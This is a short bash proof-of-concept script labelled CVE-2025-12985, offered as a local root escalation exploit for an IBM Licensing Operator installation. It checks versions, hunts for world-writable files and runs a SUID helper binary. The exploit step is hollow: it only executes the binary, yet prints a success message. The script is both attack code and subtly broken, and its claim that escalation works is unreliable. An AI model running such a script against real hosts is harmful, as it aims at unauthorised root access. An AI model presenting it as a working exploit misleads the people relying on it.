CVE-2025-12985

#!/bin/bash # CVE-2025-12985 PoC - IBM Licensing Operator Local Root Escalation # Note: This PoC is for educational and testing purposes only TARGET_DIR="/opt/ibm/licensing" EXPLOIT_FILE="$TARGET_DIR/bin/exploit" # Step 1: Check if vulnerable version is running echo "[*] Checking IBM Licensing Operator version..." if [ -f "$TARGET_DIR/version" ]; then VERSION=$(cat "$TARGET_DIR/version") echo "[+] Found version: $VERSION" fi # Step 2: Identify misconfigured permissions echo "[*] Scanning for misconfigured files..." find "$TARGET_DIR" -type f -perm -0777 2>/dev/null | while read file; do echo "[!] Found misconfigured file: $file" ls -la "$file" done # Step 3: Exploit privilege escalation via misconfigured SUID binary echo "[*] Attempting privilege escalation..." if [ -f "$TARGET_DIR/bin/licensing_helper" ]; then # Check if binary has SUID bit set if [ -u "$TARGET_DIR/bin/licensing_helper" ]; then echo "[+] Found SUID binary with misconfigured permissions" # Execute the SUID binary to escalate privileges "$TARGET_DIR/bin/licensing_helper" 2>/dev/null && echo "[+] Privilege escalation successful" fi fi # Step 4: Verify root access echo "[*] Verifying current privileges..." id whoami # Note: Actual exploitation requires specific conditions and vulnerable version

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